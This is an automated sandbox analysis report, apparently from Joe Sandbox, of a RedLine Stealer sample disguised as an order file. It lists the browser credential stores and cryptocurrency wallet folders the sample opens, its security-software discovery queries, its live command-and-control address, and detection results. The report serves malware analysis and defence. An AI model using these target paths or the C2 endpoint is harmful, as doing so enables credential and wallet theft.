Source: tmpD385.tmp.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696497155h
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696497155p
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696497155n
Source: tmpD385.tmp.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696497155d
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155x
Source: tmpD385.tmp.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: AMC password management pageVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696497155}
Source: tmpD385.tmp.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696497155^
Source: tmpD385.tmp.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696497155u
Source: tmpD385.tmp.0.dr	Binary or memory string: discord.comVMware20,11696497155f
Source: tmpD385.tmp.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696497155
Source: tmpD385.tmp.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696497155z
Source: tmpD385.tmp.0.dr	Binary or memory string: outlook.office365.comVMware20,11696497155t
Source: tmpD385.tmp.0.dr	Binary or memory string: outlook.office.comVMware20,11696497155s
Source: tmpD385.tmp.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696497155}
Source: tmpD385.tmp.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696497155~
Source: tmpD385.tmp.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696497155x

Source: C:\Users\user\Desktop\Order 20201103.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Users\user\Desktop\Order 20201103.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel\v4.0_4.0.0.0__b77a5c561934e089\System.ServiceModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\SMDiagnostics\v4.0_4.0.0.0__b77a5c561934e089\SMDiagnostics.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceModel.Internals\v4.0_4.0.0.0__31bf3856ad364e35\System.ServiceModel.Internals.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.IdentityModel\v4.0_4.0.0.0__b77a5c561934e089\System.IdentityModel.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Web.Extensions\v4.0_4.0.0.0__31bf3856ad364e35\System.Web.Extensions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\Order 20201103.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: Order 20201103.exe, 00000000.00000002.1096054991.00000000009E5000.00000004.00000020.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1102157158.0000000005E90000.00000004.00000020.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1103407422.000000000683E000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntivirusProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM AntiSpyWareProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM FirewallProduct
Source: C:\Users\user\Desktop\Order 20201103.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $Vr0C:\Users\user\AppData\Roaming\Electrum\wallets\*
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: JaxxxLiberty
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Exodus\exodus.wallet
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\wallets`A
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Exodus
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: Ethereumt`
Source: Order 20201103.exe, 00000000.00000002.1097271706.00000000027E8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: $Vr4C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\*

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\3nxxd8pi.default-release\cookies.sqlite	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Users\user\Desktop\Order 20201103.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior

Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: Order 20201103.exe, type: SAMPLE
Source: Yara match	File source: 0.0.Order 20201103.exe.480000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.954926963.0000000000482000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Order 20201103.exe PID: 6408, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	221 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	1 Masquerading	1 OS Credential Dumping	231 Security Software Discovery	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	3 Data from Local System	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	241 Virtualization/Sandbox Evasion	Security Account Manager	241 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Timestomp	LSA Secrets	113 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	Wi-Fi Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Order 20201103.exe	86%	Virustotal		Browse
Order 20201103.exe	87%	ReversingLabs	ByteCode-MSIL.Infostealer.RedLine
Order 20201103.exe	100%	Avira	HEUR/AGEN.1305500

Source	Detection	Scanner	Label
http://159.89.179.83:16383/	0%	Avira URL Cloud	safe
159.89.179.83:16383	0%	Avira URL Cloud	safe
http://159.89.179.83:16383	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
api.ip.sb.cdn.cloudflare.net	104.26.13.31	true	false		high
api.ip.sb	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://159.89.179.83:16383/	true	Avira URL Cloud: safe	unknown
https://api.ip.sb/geoip	false		high
159.89.179.83:16383	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://ipinfo.io/ip%appdata%	Order 20201103.exe	false		high
https://duckduckgo.com/ac/?q=	tmp9C1F.tmp.0.dr	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnectResponse	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.datacontract.org/2004/07/	Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultX	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/EnvironmentSettings	Order 20201103.exe, 00000000.00000002.1097271706.00000000027C0000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/v20Y&	tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	false		high
https://api.ip.sb/geoip%USERPEnvironmentROFILE%	Order 20201103.exe	false		high
http://schemas.xmlsoap.org/soap/envelope/	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	tmp9C1F.tmp.0.dr	false		high
https://ac.ecosia.org?q=	tmp9C1F.tmp.0.dr	false		high
http://tempuri.org/	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/CheckConnect	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	false		high
http://159.89.179.83:16383	Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://tempuri.org/Endpoint/VerifyUpdateResponse	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironment	Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/SetEnvironmentResponse	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/GetUpdates	Order 20201103.exe, 00000000.00000002.1097271706.0000000002997000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.00000000027E0000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002A14000.00000004.00000800.00020000.00000000.sdmp, Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_alldp.ico	tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	false		high
https://api.ipify.orgcookies//settinString.Removeg	Order 20201103.exe	false		high
http://schemas.xmlsoap.org/ws/2004/08/addressing	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtabv20	tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	false		high
http://tempuri.org/Endpoint/GetUpdatesResponse	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	tmp64A2.tmp.0.dr, tmp64C2.tmp.0.dr, tmp6471.tmp.0.dr, tmp6460.tmp.0.dr, tmp2C54.tmp.0.dr, tmp2C76.tmp.0.dr, tmp2C77.tmp.0.dr, tmp2C34.tmp.0.dr, tmp6491.tmp.0.dr, tmp2C55.tmp.0.dr, tmp2C23.tmp.0.dr, tmp9C1F.tmp.0.dr	false		high
http://tempuri.org/Endpoint/EnvironmentSettingsResponse	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/Endpoint/VerifyUpdate	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://tempuri.org/0	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	tmp9C1F.tmp.0.dr	false		high
https://gemini.google.com/app?q=	tmp9C1F.tmp.0.dr	false		high
http://schemas.xmlsoap.org/soap/actor/next	Order 20201103.exe, 00000000.00000002.1097271706.0000000002771000.00000004.00000800.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
104.26.13.31	api.ip.sb.cdn.cloudflare.net	United States		13335	CLOUDFLARENETUS	false
159.89.179.83	unknown	United States		14061	DIGITALOCEAN-ASNUS	true

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1637202
Start date and time:	2025-03-13 12:01:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 50s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Order 20201103.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@2/45@1/2
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 44 Number of non-executed functions: 9
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, sppsvc.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 23.60.203.209
Excluded domains from analysis (whitelisted): fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, c.pki.goog, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
07:02:33	API Interceptor	27x Sleep call for process: Order 20201103.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.26.13.31	VKJITO.exe	Get hash	malicious	CobaltStrike, Metasploit	Browse	ip.sb/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
api.ip.sb.cdn.cloudflare.net	PfOHmro.exe	Get hash	malicious	MicroClip, RedLine	Browse	104.26.12.31
	random.exe	Get hash	malicious	Amadey, LummaC Stealer, PureLog Stealer, RedLine, zgRAT	Browse	104.26.12.31
	PalEak0Yh6.exe	Get hash	malicious	RedLine	Browse	172.67.75.172
	Z6ojPnRBp1.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	UVFpX7iieV.exe	Get hash	malicious	RedLine	Browse	104.26.12.31
	MG9rMQUxSR.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	VAORjpyWdv.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	mF6d952oso.exe	Get hash	malicious	RedLine	Browse	104.26.13.31
	yGu4YUwMl6.exe	Get hash	malicious	RedLine	Browse	104.26.12.31
	824-1824-0x0000000000620000-0x0000000000A98000-memory.dmp.exe	Get hash	malicious	RedLine	Browse	172.67.75.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
DIGITALOCEAN-ASNUS	https://parta-doc.surge.sh/connexion.html	Get hash	malicious	Unknown	Browse	138.197.235.123
	https://mr.ahmed-elgamal.com/03?id=0EcoCp6Ari	Get hash	malicious	HTMLPhisher	Browse	138.197.101.40
	https://mr.ahmed-elgamal.com/03/?id=0EcoCp6Ari	Get hash	malicious	HTMLPhisher	Browse	138.197.101.40
	bejv86.elf	Get hash	malicious	Mirai	Browse	157.245.95.203
	http://bigdataframes.site	Get hash	malicious	Unknown	Browse	165.22.2.189
	https://gamma.app/docs/Acme-Marinas-u6y65o1kwdzhz1k?mode=present#card-8msfzjulvjyffwk	Get hash	malicious	HTMLPhisher	Browse	178.128.55.71
	.html	Get hash	malicious	Gabagool	Browse	68.183.63.244
	sync.arm5.elf	Get hash	malicious	Unknown	Browse	138.197.122.150
	VirusSick.exe	Get hash	malicious	Unknown	Browse	162.243.121.232
	Setup.exe	Get hash	malicious	Unknown	Browse	104.248.126.225
CLOUDFLARENETUS	https://wqa.i7j8k.top	Get hash	malicious	Unknown	Browse	172.67.169.224
	QUOTATION_MARQUOTE312025#U00faPDF.scr	Get hash	malicious	MSIL Logger	Browse	104.21.32.1
	https://dqfaadcgq.insfuafasf.net/?mce.amazon.co.jp=hxxps//account.amazon.co.jp	Get hash	malicious	Unknown	Browse	172.67.212.242
	https://www3-vpass.yxyypfk.com/?accountupdate=zytuVOZzNVBJK2EaRoVOyiXX	Get hash	malicious	Unknown	Browse	172.67.185.217
	SOA Since OCT DEC 241738316681530012900.bat	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.32.1
	http://test.neathhillindian.org/	Get hash	malicious	Unknown	Browse	172.67.150.243
	New_Voicemail_Peterborough_.html	Get hash	malicious	HTMLPhisher	Browse	104.26.12.205
	New_Voicemail_ Peterborough_.html	Get hash	malicious	HTMLPhisher	Browse	172.67.74.152
	DE-10192.pdf.lnk.download.lnk	Get hash	malicious	Unknown	Browse	162.159.134.42
	xo.bat	Get hash	malicious	Unknown	Browse	162.159.134.42

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	SOA Since OCT DEC 241738316681530012900.bat	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.31
	SecuriteInfo.com.Win32.DropperX-gen.23511.10885.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.31
	PO-2513203-PDF.js	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.31
	justificante de transferencia09454545.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.26.13.31
	QUOTATION_FEBQUOTE312025#U00faPDF.scr	Get hash	malicious	MSIL Logger	Browse	104.26.13.31
	efs.hta	Get hash	malicious	Cobalt Strike, MSIL Logger, MassLogger RAT	Browse	104.26.13.31
	Product Order Hirsch 1475.exe	Get hash	malicious	Snake Keylogger	Browse	104.26.13.31
	SC110-11#U3000Order_Z01G-00008D Siparis PO15804-25 - H64PO1.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.26.13.31
	8QeI7CboDY.exe	Get hash	malicious	MSIL Logger, MassLogger RAT	Browse	104.26.13.31
	y79a2l1FY5.exe	Get hash	malicious	DBatLoader, MSIL Logger, MassLogger RAT, PureLog Stealer	Browse	104.26.13.31

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	2666
Entropy (8bit):	5.345804351520589
Encrypted:	false
SSDEEP:	48:MOfHK5HKxHKdHK8THaAHKzecYHKh3oPtHo6nmHKtXooBHKoHzHZHpH8HKoLHG1qU:vq5qxqdqolqztYqh3oPtI6mq7qoT5Jcg
MD5:	D62F48AD1C574C706287B11959909E66
SHA1:	3183BD5004655E120548C52BA5E05877010613A8
SHA-256:	1DFA5DECDAB8D39587BD273D03C8DB7B99505857EE03D85D0FBF54C26058B5CC
SHA-512:	B9D435EF6FC4089169CFA82ED227D69BB221BD02F7670E79C8DF9B4A43D940889BDEA8EDAF24889FF24A942B33AC361C7FBF505E58364A7389C64C76261C3D7D
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.ServiceModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"SMDiagnostics, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System.Runtime.Serialization, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Runteb92aa12#\a3127677749631df61e96a8400ddcb87\System.Runtime.Serialization.ni.dll",0..2,"System.ServiceModel.Internals, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02b0c61bb4\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral,

C:\Users\user\AppData\Local\Temp\tmp2C02.tmp

Download File

Process:	C:\Users\user\Desktop\Order 20201103.exe
File Type:	SQLite 3.x database, last written using SQLite version 3046000, page size 2048, file counter 2, database pages 20, cookie 0xc, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8616778647394084
Encrypted:	false
